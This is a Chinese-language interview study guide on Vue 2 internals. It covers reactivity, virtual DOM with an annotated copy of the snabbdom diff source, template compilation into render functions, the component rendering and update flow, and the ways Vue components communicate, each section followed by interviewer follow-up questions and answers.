  • 订单页返回一个多层对象,内含数百个明细和嵌套地址;如果仍用 Vue 2 的响应式机制,你会怎样组织数据,避免初始化阶段无差别深度监听?

    只把确实参与渲染和交互的字段放入响应式 data,并尽量让对象结构预先确定,避免把整份原始响应都递归转换。因为 observer 会继续遍历嵌套对象,数据越深初始化计算越多;非视图数据应与响应式状态分离,但拆分会增加数据管理成本。

  • 购物车从对象字段更新改为数组操作后,items.push(x) 能刷新,而 items[3] = x 的表现却不符合预期;你如何说明两条写法的机制差异?

    Vue 2 会替换数组实例的原型,并重写 push、pop、shift、unshift、splice 等方法来触发更新,普通索引赋值不经过这些入口。应使用 splice 或 Vue.set 修改指定位置;若团队保留原生赋值习惯,这种机制很容易产生漏更新。

  • 线上用户修改 profile.address.city 后页面没变,但把整个 profile 替换掉又能更新;你会沿着 getter、setter 和嵌套监听怎样定位?

    先确认 address 和 city 是否在观测开始时已存在,再检查赋值是否命中了为该字段定义的 setter。替换 profile 能更新,说明外层通知链仍工作,故障更可能是内层新增属性未被观测;修复时用 Vue.set 或预声明结构,不能只靠强制刷新掩盖问题。

  • 一个旧 Vue 2 后台频繁增删动态字段和数组项,团队争论继续封装 Vue.set,还是改用基于 Proxy 的响应式方案;你会如何取舍?

    若短期必须维持 Vue 2,应集中封装动态增删和数组修改入口,降低遗漏 Vue.set、Vue.delete 的概率。Proxy 能拦截 set 与 deleteProperty,也不必为数组方法单独改原型,但迁移会影响现有框架和兼容边界,不能仅为一个局部故障贸然切换。

# vdom和diff算法

⚡ 30 秒速记

  • DOM操作非常耗时

vdom 用 JavaScript 对象模拟 DOM,diff 再比较新旧 vnode,找出需要更新的范围并控制真实 DOM 操作。 这样做的背景是 DOM 操作耗时,而 Vue、React 的数据驱动模式不能像手写 jQuery 那样随时人工控制更新。为避免树比较达到 O(n^3),实际算法只比较同层节点,并结合 tag 和 key 判断复用或重建,把复杂度优化到 O(n)。因此列表渲染时合理设置 key,会直接影响节点匹配。

1. vdom

  • 背景
    • DOM操作非常耗时
    • 以前用jQuery,可以自行控制DOM操作时机,手动调整
    • Vue和React是数据驱动视图,如何有效控制DOM操作
  • 解决方案VDOM
    • 有了一定的复杂度,想减少计算次数比较难
    • 能不能把计算,更多的转移为JS计算?因为JS执行速度很快
    • vdom 用JS模拟DOM结构,计算出最小的变更,操作DOM
  • 用JS模拟DOM结构
  • 通过snabbdom学习vdom
    • 简洁强大的vdom库
    • vue2参考它实现的vdom和diff
    • snabbdom
      • h函数
      • vnode数据结构
      • patch函数
  • vdom总结
    • 用JS模拟DOM结构(vnode)
    • 新旧vnode对比,得出最小的更新范围,有效控制DOM操作
    • 数据驱动视图模式下,有效控制DOM操作

2. diff算法

  • diff算法是vdom中最核心、最关键的部分
  • diff算法能在日常使用vue react中体现出来(如key)

树的diff的时间复杂度O(n^3)

  • 第一,遍历tree1
  • 第二,遍历tree2
  • 第三,排序
  • 1000个节点,要计算10亿次,算法不可用

优化时间复杂度到O(n)

  • 只比较同一层级,不跨级比较
  • tag不相同,则直接删掉重建,不再深度比较
  • tag和key相同,则认为是相同节点,不再深度比较

diff过程细节

  • 新旧节点都有children,执行updateChildren diff对比
    • 开始和开始对比--头头
    • 结束和结束对比--尾尾
    • 开始和结束对比--头尾
    • 结束和开始对比--尾头
    • 以上四个都未命中:拿新节点 key ,能否对应上 oldCh 中的某个节点的 key
  • 新children有,旧children无:清空旧text节点,新增新children节点
  • 旧children有,新children无:移除旧children
  • 否则旧text有,设置text为空

vdom和diff算法总结

  • 细节不重要,updateChildren的过程也不重要,不要深究
  • vdom的核心概念很重要:h、vnode、patch、diff、key
  • vdom存在的价值更重要,数据驱动视图,控制dom操作
// snabbdom源码位于 src/snabbdom.ts
/* global module, document, Node */
import { Module } from './modules/module';
import vnode, { VNode } from './vnode';
import * as is from './is';
import htmlDomApi, { DOMAPI } from './htmldomapi';

type NonUndefined<T> = T extends undefined ? never : T;

function isUndef (s: any): boolean { return s === undefined; }
function isDef<A> (s: A): s is NonUndefined<A> { return s !== undefined; }

type VNodeQueue = VNode[];

const emptyNode = vnode('', {}, [], undefined, undefined);

function sameVnode (vnode1: VNode, vnode2: VNode): boolean {
  // key 和 sel 都相等
  // undefined === undefined // true
  return vnode1.key === vnode2.key && vnode1.sel === vnode2.sel;
}

function isVnode (vnode: any): vnode is VNode {
  return vnode.sel !== undefined;
}

type KeyToIndexMap = {[key: string]: number};

type ArraysOf<T> = {
  [K in keyof T]: Array<T[K]>;
}

type ModuleHooks = ArraysOf<Module>;

function createKeyToOldIdx (children: VNode[], beginIdx: number, endIdx: number): KeyToIndexMap {
  const map: KeyToIndexMap = {};
  for (let i = beginIdx; i <= endIdx; ++i) {
    const key = children[i]?.key;
    if (key !== undefined) {
      map[key] = i;
    }
  }
  return map;
}

const hooks: Array<keyof Module> = ['create', 'update', 'remove', 'destroy', 'pre', 'post'];

export { h } from './h';
export { thunk } from './thunk';

export function init (modules: Array<Partial<Module>>, domApi?: DOMAPI) {
  let i: number, j: number, cbs = ({} as ModuleHooks);

  const api: DOMAPI = domApi !== undefined ? domApi : htmlDomApi;

  for (i = 0; i < hooks.length; ++i) {
    cbs[hooks[i]] = [];
    for (j = 0; j < modules.length; ++j) {
      const hook = modules[j][hooks[i]];
      if (hook !== undefined) {
        (cbs[hooks[i]] as any[]).push(hook);
      }
    }
  }

  function emptyNodeAt (elm: Element) {
    const id = elm.id ? '#' + elm.id : '';
    const c = elm.className ? '.' + elm.className.split(' ').join('.') : '';
    return vnode(api.tagName(elm).toLowerCase() + id + c, {}, [], undefined, elm);
  }

  function createRmCb (childElm: Node, listeners: number) {
    return function rmCb () {
      if (--listeners === 0) {
        const parent = api.parentNode(childElm);
        api.removeChild(parent, childElm);
      }
    };
  }

  function createElm (vnode: VNode, insertedVnodeQueue: VNodeQueue): Node {
    let i: any, data = vnode.data;
    if (data !== undefined) {
      const init = data.hook?.init;
      if (isDef(init)) {
        init(vnode);
        data = vnode.data;
      }
    }
    let children = vnode.children, sel = vnode.sel;
    if (sel === '!') {
      if (isUndef(vnode.text)) {
        vnode.text = '';
      }
      vnode.elm = api.createComment(vnode.text!);
    } else if (sel !== undefined) {
      // Parse selector
      const hashIdx = sel.indexOf('#');
      const dotIdx = sel.indexOf('.', hashIdx);
      const hash = hashIdx > 0 ? hashIdx : sel.length;
      const dot = dotIdx > 0 ? dotIdx : sel.length;
      const tag = hashIdx !== -1 || dotIdx !== -1 ? sel.slice(0, Math.min(hash, dot)) : sel;
      const elm = vnode.elm = isDef(data) && isDef(i = data.ns)
        ? api.createElementNS(i, tag)
        : api.createElement(tag);
      if (hash < dot) elm.setAttribute('id', sel.slice(hash + 1, dot));
      if (dotIdx > 0) elm.setAttribute('class', sel.slice(dot + 1).replace(/\./g, ' '));
      for (i = 0; i < cbs.create.length; ++i) cbs.create[i](emptyNode, vnode);
      if (is.array(children)) {
        for (i = 0; i < children.length; ++i) {
          const ch = children[i];
          if (ch != null) {
            api.appendChild(elm, createElm(ch as VNode, insertedVnodeQueue));
          }
        }
      } else if (is.primitive(vnode.text)) {
        api.appendChild(elm, api.createTextNode(vnode.text));
      }
      const hook = vnode.data!.hook;
      if (isDef(hook)) {
        hook.create?.(emptyNode, vnode);
        if (hook.insert) {
          insertedVnodeQueue.push(vnode);
        }
      }
    } else {
      vnode.elm = api.createTextNode(vnode.text!);
    }
    return vnode.elm;
  }

  function addVnodes (
    parentElm: Node,
    before: Node | null,
    vnodes: VNode[],
    startIdx: number,
    endIdx: number,
    insertedVnodeQueue: VNodeQueue
  ) {
    for (; startIdx <= endIdx; ++startIdx) {
      const ch = vnodes[startIdx];
      if (ch != null) {
        api.insertBefore(parentElm, createElm(ch, insertedVnodeQueue), before);
      }
    }
  }

  function invokeDestroyHook (vnode: VNode) {
    const data = vnode.data;
    if (data !== undefined) {
      data?.hook?.destroy?.(vnode);
      for (let i = 0; i < cbs.destroy.length; ++i) cbs.destroy[i](vnode);
      if (vnode.children !== undefined) {
        for (let j = 0; j < vnode.children.length; ++j) {
          const child = vnode.children[j];
          if (child != null && typeof child !== "string") {
            invokeDestroyHook(child);
          }
        }
      }
    }
  }

  function removeVnodes (parentElm: Node,
    vnodes: VNode[],
    startIdx: number,
    endIdx: number): void {
    for (; startIdx <= endIdx; ++startIdx) {
      let listeners: number, rm: () => void, ch = vnodes[startIdx];
      if (ch != null) {
        if (isDef(ch.sel)) {
          invokeDestroyHook(ch); // hook 操作

          // 移除 DOM 元素
          listeners = cbs.remove.length + 1;
          rm = createRmCb(ch.elm!, listeners);
          for (let i = 0; i < cbs.remove.length; ++i) cbs.remove[i](ch, rm);
          const removeHook = ch?.data?.hook?.remove;
          if (isDef(removeHook)) {
            removeHook(ch, rm);
          } else {
            rm();
          }
        } else { // Text node
          api.removeChild(parentElm, ch.elm!);
        }
      }
    }
  }

  // diff算法核心
  function updateChildren (parentElm: Node,
    oldCh: VNode[],
    newCh: VNode[],
    insertedVnodeQueue: VNodeQueue) {
    let oldStartIdx = 0, newStartIdx = 0;
    let oldEndIdx = oldCh.length - 1;
    let oldStartVnode = oldCh[0];
    let oldEndVnode = oldCh[oldEndIdx];
    let newEndIdx = newCh.length - 1;
    let newStartVnode = newCh[0];
    let newEndVnode = newCh[newEndIdx];
    let oldKeyToIdx: KeyToIndexMap | undefined;
    let idxInOld: number;
    let elmToMove: VNode;
    let before: any;

    while (oldStartIdx <= oldEndIdx && newStartIdx <= newEndIdx) {
      if (oldStartVnode == null) {
        oldStartVnode = oldCh[++oldStartIdx]; // Vnode might have been moved left
      } else if (oldEndVnode == null) {
        oldEndVnode = oldCh[--oldEndIdx];
      } else if (newStartVnode == null) {
        newStartVnode = newCh[++newStartIdx];
      } else if (newEndVnode == null) {
        newEndVnode = newCh[--newEndIdx];

      // 开始和开始对比--头头
      } else if (sameVnode(oldStartVnode, newStartVnode)) {
        patchVnode(oldStartVnode, newStartVnode, insertedVnodeQueue);
        oldStartVnode = oldCh[++oldStartIdx];
        newStartVnode = newCh[++newStartIdx];
      
      // 结束和结束对比--尾尾
      } else if (sameVnode(oldEndVnode, newEndVnode)) {
        patchVnode(oldEndVnode, newEndVnode, insertedVnodeQueue);
        oldEndVnode = oldCh[--oldEndIdx];
        newEndVnode = newCh[--newEndIdx];

      // 开始和结束对比--头尾
      } else if (sameVnode(oldStartVnode, newEndVnode)) { // Vnode moved right
        patchVnode(oldStartVnode, newEndVnode, insertedVnodeQueue);
        api.insertBefore(parentElm, oldStartVnode.elm!, api.nextSibling(oldEndVnode.elm!));
        oldStartVnode = oldCh[++oldStartIdx];
        newEndVnode = newCh[--newEndIdx];

      // 结束和开始对比--尾头
      } else if (sameVnode(oldEndVnode, newStartVnode)) { // Vnode moved left
        patchVnode(oldEndVnode, newStartVnode, insertedVnodeQueue);
        api.insertBefore(parentElm, oldEndVnode.elm!, oldStartVnode.elm!);
        oldEndVnode = oldCh[--oldEndIdx];
        newStartVnode = newCh[++newStartIdx];

      // 以上四个都未命中
      } else {
        if (oldKeyToIdx === undefined) {
          oldKeyToIdx = createKeyToOldIdx(oldCh, oldStartIdx, oldEndIdx);
        }
        // 拿新节点 key ,能否对应上 oldCh 中的某个节点的 key
        idxInOld = oldKeyToIdx[newStartVnode.key as string];
  
        // 没对应上
        if (isUndef(idxInOld)) { // New element
          api.insertBefore(parentElm, createElm(newStartVnode, insertedVnodeQueue), oldStartVnode.elm!);
          newStartVnode = newCh[++newStartIdx];
        
        // 对应上了
        } else {
          // 对应上 key 的节点
          elmToMove = oldCh[idxInOld];

          // sel 是否相等(sameVnode 的条件)
          if (elmToMove.sel !== newStartVnode.sel) {
            // New element
            api.insertBefore(parentElm, createElm(newStartVnode, insertedVnodeQueue), oldStartVnode.elm!);
          
          // sel 相等,key 相等
          } else {
            patchVnode(elmToMove, newStartVnode, insertedVnodeQueue);
            oldCh[idxInOld] = undefined as any;
            api.insertBefore(parentElm, elmToMove.elm!, oldStartVnode.elm!);
          }
          newStartVnode = newCh[++newStartIdx];
        }
      }
    }
    if (oldStartIdx <= oldEndIdx || newStartIdx <= newEndIdx) {
      if (oldStartIdx > oldEndIdx) {
        before = newCh[newEndIdx + 1] == null ? null : newCh[newEndIdx + 1].elm;
        addVnodes(parentElm, before, newCh, newStartIdx, newEndIdx, insertedVnodeQueue);
      } else {
        removeVnodes(parentElm, oldCh, oldStartIdx, oldEndIdx);
      }
    }
  }

  function patchVnode (oldVnode: VNode, vnode: VNode, insertedVnodeQueue: VNodeQueue) {
    // 执行 prepatch hook
    const hook = vnode.data?.hook;
    hook?.prepatch?.(oldVnode, vnode);

    // 设置 vnode.elem
    const elm = vnode.elm = oldVnode.elm!;
  
    // 旧 children
    let oldCh = oldVnode.children as VNode[];
    // 新 children
    let ch = vnode.children as VNode[];

    if (oldVnode === vnode) return;
  
    // hook 相关
    if (vnode.data !== undefined) {
      for (let i = 0; i < cbs.update.length; ++i) cbs.update[i](oldVnode, vnode);
      vnode.data.hook?.update?.(oldVnode, vnode);
    }

    // vnode.text === undefined (vnode.children 一般有值)
    if (isUndef(vnode.text)) {
      // 新旧都有 children
      if (isDef(oldCh) && isDef(ch)) {
        if (oldCh !== ch) updateChildren(elm, oldCh, ch, insertedVnodeQueue);
      // 新 children 有,旧 children 无 (旧 text 有)
      } else if (isDef(ch)) {
        // 清空 text
        if (isDef(oldVnode.text)) api.setTextContent(elm, '');
        // 添加 children
        addVnodes(elm, null, ch, 0, ch.length - 1, insertedVnodeQueue);
      // 旧 child 有,新 child 无
      } else if (isDef(oldCh)) {
        // 移除 children
        removeVnodes(elm, oldCh, 0, oldCh.length - 1);
      // 旧 text 有
      } else if (isDef(oldVnode.text)) {
        api.setTextContent(elm, '');
      }

    // else : vnode.text !== undefined (vnode.children 无值)
    } else if (oldVnode.text !== vnode.text) {
      // 移除旧 children
      if (isDef(oldCh)) {
        removeVnodes(elm, oldCh, 0, oldCh.length - 1);
      }
      // 设置新 text
      api.setTextContent(elm, vnode.text!);
    }
    hook?.postpatch?.(oldVnode, vnode);
  }

  return function patch (oldVnode: VNode | Element, vnode: VNode): VNode {
    let i: number, elm: Node, parent: Node;
    const insertedVnodeQueue: VNodeQueue = [];
    // 执行 pre hook
    for (i = 0; i < cbs.pre.length; ++i) cbs.pre[i]();

    // 第一个参数不是 vnode
    if (!isVnode(oldVnode)) {
      // 创建一个空的 vnode ,关联到这个 DOM 元素
      oldVnode = emptyNodeAt(oldVnode);
    }

    // 相同的 vnode(key 和 sel 都相等)
    if (sameVnode(oldVnode, vnode)) {
      // vnode 对比
      patchVnode(oldVnode, vnode, insertedVnodeQueue);
    
    // 不同的 vnode ,直接删掉重建
    } else {
      elm = oldVnode.elm!;
      parent = api.parentNode(elm);

      // 重建
      createElm(vnode, insertedVnodeQueue);

      if (parent !== null) {
        api.insertBefore(parent, vnode.elm!, api.nextSibling(elm));
        removeVnodes(parent, [oldVnode], 0, 0);
      }
    }

    for (i = 0; i < insertedVnodeQueue.length; ++i) {
      insertedVnodeQueue[i].data!.hook!.insert!(insertedVnodeQueue[i]);
    }
    for (i = 0; i < cbs.post.length; ++i) cbs.post[i]();
    return vnode;
  };
}

💬 面试官追问

  • 运营把千行表格改成 v-for 后宣称“用了 vdom 就不会有昂贵的 DOM 操作”,但筛选时仍明显卡顿;你会怎样纠正这个判断?

    vdom 的价值是先用 JS 描述节点并比较新旧 vnode,把真实 DOM 更新控制在必要范围,并不代表渲染大量节点没有成本。千行节点仍需创建、比较或补丁;若页面规模本身过大,还要减少实际渲染量,不能把 vdom 当作性能兜底。

  • 消息列表每秒合入一批数据,你需要把 h、vnode 和 patch 落到一次更新链路上,会怎样向负责性能治理的同事说明?

    渲染逻辑通过 h 创建新的 vnode 树,再由 patch(oldVnode, newVnode) 进入 diff,最终只操作判定发生变化的真实节点。首次渲染则是 patch(elem, vnode);这套流程减少无目标的手工 DOM 操作,但新旧树比较本身仍有计算成本。

  • 树形菜单允许节点从三级直接拖到一级,产品要求保留原组件状态;现有 diff 只做同层比较,这个约束变化会带来什么结果?

    常见树 diff 为把复杂度压到可用范围,只比较同一层级,不跨层寻找可复用节点,因此跨级移动通常会表现为旧位置删除、新位置创建。即使业务对象相同,也不能保证组件实例状态被保留;需要把状态提升到稳定数据源,而不是依赖跨层节点复用。

  • 线上表单列表重新排序后,输入框内容串到了别的行;代码使用数组下标作为 key,你会如何验证并修复?

    先复现插入或换序,检查相同下标是否让新旧节点被 sameVnode 误判为同一节点,因为判定依赖 key 与标签。应改用业务上稳定且唯一的标识,让 updateChildren 能从旧节点中定位正确项;重复或随位置变化的 key 仍会造成错误复用。

  • 同一个看板中,方案 A 总是修改原生 DOM,方案 B 每次生成新 vnode 再 patch;组件数量持续增长时,你会基于什么做选型?

    数据驱动且结构复杂时,更适合让 vnode 与 diff 统一计算更新范围,避免业务代码到处分散控制 DOM 时机。极小且完全可控的局部交互未必需要完整抽象,但手工方案会把一致性和维护责任交给开发者;vdom 也不是零成本,应结合节点规模判断。

# 模板编译

⚡ 30 秒速记

  • 模板是vue开发中最常用的,即与使用相关联的原理

模板编译就是把带有指令、插值和表达式的 template 转成可执行的 render 函数。 执行 render 会生成 vnode,随后再通过 patch 和 diff 完成首次渲染或更新。使用 webpack 的 vue-loader 时,模板通常会在开发环境完成编译。编译结果可能借助 with(this) 读取组件实例上的数据,但它会打破常规作用域规则,因此业务代码里要慎用,也可以直接编写 render。

前置知识

  • 模板是vue开发中最常用的,即与使用相关联的原理
  • 它不是HTML,有指令、插值、JS表达式,能实现循环、判断,因此模板一定转为JS代码,即模板编译
  • 面试不会直接问,但会通过组件渲染和更新过程考察

模板编译

  • vue template compiler将模板编译为render函数
  • 执行render函数,生成vnode
  • 基于vnode在执行patch和diff
  • 使用webpack vue-loader插件,会在开发环境下编译模板

with语法

  • 改变{}内自由变量的查找规则,当做obj属性来查找
  • 如果找不到匹配的obj属性,就会报错
  • with要慎用,它打破了作用域规则,易读性变差

vue组件中使用render代替template

// 执行 node index.js

const compiler = require('vue-template-compiler')

// 插值
const template = `<p>{message}</p>`
with(this){return _c('p', [_v(_s(message))])}
// this就是vm的实例, message等变量会从vm上读取,触发getter
// _c => createElement 也就是h函数 => 返回vnode
// _v => createTextVNode 
// _s => toString 
// 也就是这样 with(this){return createElement('p',[createTextVNode(toString(message))])}

// h -> vnode
// createElement -> vnode

// 表达式
const template = `<p>{{flag ? message : 'no message found'}}</p>`
// with(this){return _c('p',[_v(_s(flag ? message : 'no message found'))])}

// 属性和动态属性
const template = `
    <div id="div1" class="container">
        <img :src="imgUrl"/>
    </div>
`
with(this){return _c('div',
     {staticClass:"container",attrs:{"id":"div1"}},
     [
         _c('img',{attrs:{"src":imgUrl}})])}

// 条件
const template = `
    <div>
        <p v-if="flag === 'a'">A</p>
        <p v-else>B</p>
    </div>
`
with(this){return _c('div',[(flag === 'a')?_c('p',[_v("A")]):_c('p',[_v("B")])])}

// 循环
const template = `
    <ul>
        <li v-for="item in list" :key="item.id">{{item.title}}</li>
    </ul>
`
with(this){return _c('ul',_l((list),function(item){return _c('li',{key:item.id},[_v(_s(item.title))])}),0)}

// 事件
const template = `
    <button @click="clickHandler">submit</button>
`
with(this){return _c('button',{on:{"click":clickHandler}},[_v("submit")])}

// v-model
const template = `<input type="text" v-model="name">`
// 主要看 input 事件
with(this){return _c('input',{directives:[{name:"model",rawName:"v-model",value:(name),expression:"name"}],attrs:{"type":"text"},domProps:{"value":(name)},on:{"input":function($event){if($event.target.composing)return;name=$event.target.value}}})}

// render 函数
// 返回 vnode
// patch

// 编译
const res = compiler.compile(template)
console.log(res.render)

// ---------------分割线--------------

// 从 vue 源码中找到缩写函数的含义
function installRenderHelpers (target) {
    target._o = markOnce;
    target._n = toNumber;
    target._s = toString;
    target._l = renderList;
    target._t = renderSlot;
    target._q = looseEqual;
    target._i = looseIndexOf;
    target._m = renderStatic;
    target._f = resolveFilter;
    target._k = checkKeyCodes;
    target._b = bindObjectProps;
    target._v = createTextVNode;
    target._e = createEmptyVNode;
    target._u = resolveScopedSlots;
    target._g = bindObjectListeners;
    target._d = bindDynamicKeys;
    target._p = prependModifier;
}

💬 面试官追问

  • 有人把 Vue 模板当成浏览器可直接执行的 HTML,却在页面里写了 v-if、插值和表达式;你会用编译产物怎样反驳?

    模板包含浏览器不认识的指令和表达式,必须先由 vue-template-compiler 转成 render 函数,而不是原样交给浏览器。执行 render 才会通过 _c、_v、_s 等辅助函数生成 vnode;模板语法若无法编译,后续 patch 根本没有输入。

  • 后台列表模板同时包含动态图片、条件分支、循环和点击事件,负责构建的同事想知道 vue-loader 到底提前做了什么,你会怎样串起产物?

    vue-loader 会在开发构建阶段把模板编译成 render 函数,运行时执行该函数生成 vnode。动态属性会进入节点数据,v-if 形成条件表达式,v-for 形成列表生成逻辑,事件进入监听配置;编译前移能省去浏览器现场解析模板,但仍需运行渲染代码。

  • 同一组件从 template 改成手写 render,产品要求页面结构和更新行为完全一致;哪些契约不能变化?

    手写 render 仍须返回等价的 vnode,动态属性、事件、条件分支、循环节点及稳定 key 都要准确表达。后续依旧交给 patch 和 diff,因此改变的只是模板到 render 的生成方式;手写代码更灵活,但可读性和维护成本通常更高。

  • 线上页面数据已更新,但某个插值始终显示旧值;编译结果里是 with(this){ return _c(...) },你会从变量读取链路排查什么?

    先查看生成的 render 是否实际读取了目标字段,并确认该自由变量能在组件实例 this 上找到。读取响应式字段会触发对应 getter,若变量名写错、分支未执行或字段不在实例上,就无法形成预期渲染依赖;with 还会弱化作用域可读性,定位时应直接看编译产物。

  • 输入框从手写 :value 改成 v-model 后,只显示初值却无法回写;你会结合模板编译判断缺了哪一半?

    v-model 的编译结果不仅设置 domProps.value,还会注册 input 监听,在非输入法组合阶段把 $event.target.value 写回状态。只有 :value 属于单向赋值,缺少事件回写;自行展开时还要处理 composing,否则输入法场景可能出现错误更新。

# Vue组件渲染过程

⚡ 30 秒速记

  • 一个组件渲染到页面,修改data触发更新(数据驱动视图)

Vue 组件渲染的核心链路是响应式处理、模板编译生成 render,再由虚拟 DOM 完成页面挂载和更新。 初次渲染执行 render 时会读取 data,触发 getter 收集依赖,生成 vnode 后调用 patch(elem, vnode)。数据变化会触发 setter,重新生成 newVnode,再通过 patch(oldVnode, newVnode) 更新差异。多次数据修改通常会被汇总为一次异步渲染,需要读取更新后的 DOM 时我会使用 $nextTick。

前言

  • 一个组件渲染到页面,修改data触发更新(数据驱动视图)
  • 其背后原理是什么,需要掌握哪些点
  • 考察对流程了解的全面程度

回顾三大核心知识点

  • 响应式:监听data属性getter、setter(包括数组)
  • 模板编译:模板到render函数,再到vnode
  • vdom:两种用法
    • patch(elem,vnode) 首次渲染vnode到container上
    • patch(vnode、newVnode) 新的vnode去更新旧的vnode
  • 搞定这三点核心原理,vue原理不是问题

组件渲染更新过程

  • 1. 初次渲染过程
    • 解析模板为render函数(或在开发环境已经完成vue-loader模板编译)
    • 触发响应式,监听data属性getter、setter
    • 执行render函数(执行render函数过程中,会获取data的属性触发getter),生成vnode,在执行patch(elem,vnode) elem组件对应的dom节点
      • const template = <p>{message}</p>
      • 编译为render函数 with(this){return _c('p', [_v(_s(message))])}
      • this就是vm的实例, message等变量会从vm上读取,触发getter进行依赖收集
      export default {
          data() {
              return {
                  message: 'hello' // render函数执行过程中会获取message变量值,触发getter
              }
          }
      }
      
  • 2. 更新过程
    • 修改data,触发setter(此前在getter中已被监听)
    • 重新执行render函数,生成newVnode
    • 在调用patch(oldVnode, newVnode)算出最小差异,进行更新
  • 3. 完成流程图

异步渲染

  • 汇总data的修改,一次更新视图
  • 减少DOM操作次数,提高性能

methods: {
    addItem() {
        this.list.push(`${Date.now()}`)
        this.list.push(`${Date.now()}`)
        this.list.push(`${Date.now()}`)

        // 1.页面渲染是异步的,$nextTick待渲染完在回调
        // 2.页面渲染时会将data的修改做整合,多次data修改也只会渲染一次
        this.$nextTick(()=>{
            const ulElem = this.$refs.ul
            console.log(ulElem.childNotes.length)
        })
    }
}

总结

  • 渲染和响应式的关系
  • 渲染和模板编译的关系
  • 渲染和vdom的关系

💬 面试官追问

  • 组件刚挂载时 data.message 没有发生赋值,但它仍被纳入后续更新;一位候选人说“只有触发 setter 才会建立响应关系”,你怎么纠正?

    初次执行 render 会读取 message,由响应式 getter 完成依赖收集,之后修改它时 setter 才能通知相关渲染更新。setter 负责触发而不是建立全部关系;若某字段从未在有效渲染分支中读取,就不能据此假定组件已经依赖它。

  • 详情页首次加载要把模板、响应式数据和容器节点接起来,你会怎样描述从构建产物到首屏 DOM 的完整链路?

    模板先被编译为 render 函数,通常已由 vue-loader 在构建阶段完成;组件初始化时对 data 建立 getter、setter。执行 render 读取数据并生成 vnode,再调用 patch(elem, vnode) 挂到容器;任一阶段失败都会阻断后续渲染。

  • 批量导入按钮连续执行三次 list.push(...),业务方要求紧接着读取列表节点数;为什么同步读取可能不准,代码应放在哪里?

    多次状态修改会被汇总,视图采用异步更新,通常只执行一次渲染以减少 DOM 操作,因此同步代码可能读到旧节点数。应把依赖更新后 DOM 的读取放进 $nextTick 回调;它保证等待本轮渲染完成,但不应被滥用为业务状态同步工具。

  • 线上出现“状态对象是新值、界面仍是旧值”,同时日志证明赋值代码已执行;你会按组件更新链路检查哪些断点?

    先确认赋值命中了已观测字段的 setter,再确认该字段曾在 render 中经 getter 建立依赖,随后检查是否生成了预期的 newVnode。最后观察 patch(oldVnode, newVnode) 是否正确命中节点;若是新增属性或错误 key,链路会分别断在响应式或补丁阶段。

  • 团队想在每次状态赋值后立刻手动改 DOM,理由是比等待框架更直观;对于一个持续迭代的组件库,你会如何评估?

    组件库应让状态变化触发重新执行 render,生成 newVnode 后由 patch 计算必要更新,从而保持数据与视图的一致来源。手动改 DOM 可能被下一次补丁覆盖,还会绕过异步合并;确需读取更新后节点时使用 $nextTick,代价是必须接受异步时序。

# Vue组件之间通信方式有哪些

⚡ 30 秒速记

  • Vue 组件间通信是面试常考的知识点之一,这题有点类似于开放题,你回答出越多方法当然越加分,表明你对 Vue 掌握的越熟练

Vue 组件通信可以按父子、跨层级和共享状态三类来选择。 父子组件优先使用 props 和 $emit,需要直接访问实例时可用 ref;跨层级传递依赖更适合 provide 和 inject。关系较远或多个组件共享数据时,可以使用事件总线或 Vuex,避免层层传参。还要注意版本边界:$children 和 $listeners 已在 Vue 3 废弃,所以实际选择不能只看组件关系,也要结合所用版本。

Vue 组件间通信是面试常考的知识点之一,这题有点类似于开放题,你回答出越多方法当然越加分,表明你对 Vue 掌握的越熟练。Vue 组件间通信只要指以下 3 类通信:父子组件通信、隔代组件通信、兄弟组件通信,下面我们分别介绍每种通信方式且会说明此种方法可适用于哪类组件间通信

组件传参的各种方式

组件通信常用方式有以下几种

  • props / $emit 适用 父子组件通信
    • 父组件向子组件传递数据是通过 prop 传递的,子组件传递数据给父组件是通过$emit 触发事件来做到的
  • ref 与 $parent / $children(vue3废弃) 适用 父子组件通信
    • ref:如果在普通的 DOM 元素上使用,引用指向的就是 DOM 元素;如果用在子组件上,引用就指向组件实例
    • $parent / $children:访问父组件的属性或方法 / 访问子组件的属性或方法
  • EventBus ($emit / $on) 适用于 父子、隔代、兄弟组件通信
    • 这种方法通过一个空的 Vue 实例作为中央事件总线(事件中心),用它来触发事件和监听事件,从而实现任何组件间的通信,包括父子、隔代、兄弟组件
  • $attrs / $listeners(vue3废弃) 适用于 隔代组件通信
    • $attrs:包含了父作用域中不被 prop 所识别 (且获取) 的特性绑定 ( class 和 style 除外 )。当一个组件没有声明任何 prop 时,这里会包含所有父作用域的绑定 ( class 和 style 除外 ),并且可以通过 v-bind="$attrs" 传入内部组件。通常配合 inheritAttrs 选项一起使用,多余的属性不会被解析到标签上
    • $listeners:包含了父作用域中的 (不含 .native 修饰器的) v-on 事件监听器。它可以通过 v-on="$listeners" 传入内部组件
  • provide / inject 适用于 隔代组件通信
    • 祖先组件中通过 provider 来提供变量,然后在子孙组件中通过 inject 来注入变量。 provide / inject API 主要解决了跨级组件间的通信问题,不过它的使用场景,主要是子组件获取上级组件的状态,跨级组件间建立了一种主动提供与依赖注入的关系
  • $root 适用于 隔代组件通信 访问根组件中的属性或方法,是根组件,不是父组件。$root只对根组件有用
  • Vuex 适用于 父子、隔代、兄弟组件通信
    • Vuex 是一个专为 Vue.js 应用程序开发的状态管理模式。每一个 Vuex 应用的核心就是 store(仓库)。“store” 基本上就是一个容器,它包含着你的应用中大部分的状态 ( state )
    • Vuex 的状态存储是响应式的。当 Vue 组件从 store 中读取状态的时候,若 store 中的状态发生变化,那么相应的组件也会相应地得到高效更新。
    • 改变 store 中的状态的唯一途径就是显式地提交 (commit) mutation。这样使得我们可以方便地跟踪每一个状态的变化。

根据组件之间关系讨论组件通信最为清晰有效

  • 父子组件:props/$emit/$parent/ref
  • 兄弟组件:$parent/eventbus/vuex
  • 跨层级关系:eventbus/vuex/provide+inject/$attrs + $listeners/$root

💬 面试官追问

  • 支付弹窗是订单页的直接子组件,却通过全局 EventBus 把确认结果绕回父组件;代码评审时你会要求怎样调整,为什么?

    直接父子关系应优先使用 props 下传数据、$emit 上报事件,使输入和变更方向在组件边界上清晰可见。EventBus 虽能完成通信,却把监听关系藏到全局事件中心;组件增多后更难追踪来源,也容易形成无约束耦合。

  • 一个三层表单容器需要把校验配置传到孙组件,同时不希望中间组件逐项转发;你会在 $attrs、$listeners 与 provide/inject 中怎样落地?

    若中间组件本来就是透明包装层,可用 v-bind="$attrs" 和 v-on="$listeners" 继续向内传递未声明属性与监听器,并配合 inheritAttrs 控制多余属性落点。若属于祖先向多个后代提供共享依赖,provide/inject 更贴合;两者都会弱化显式接口,需要控制使用范围。

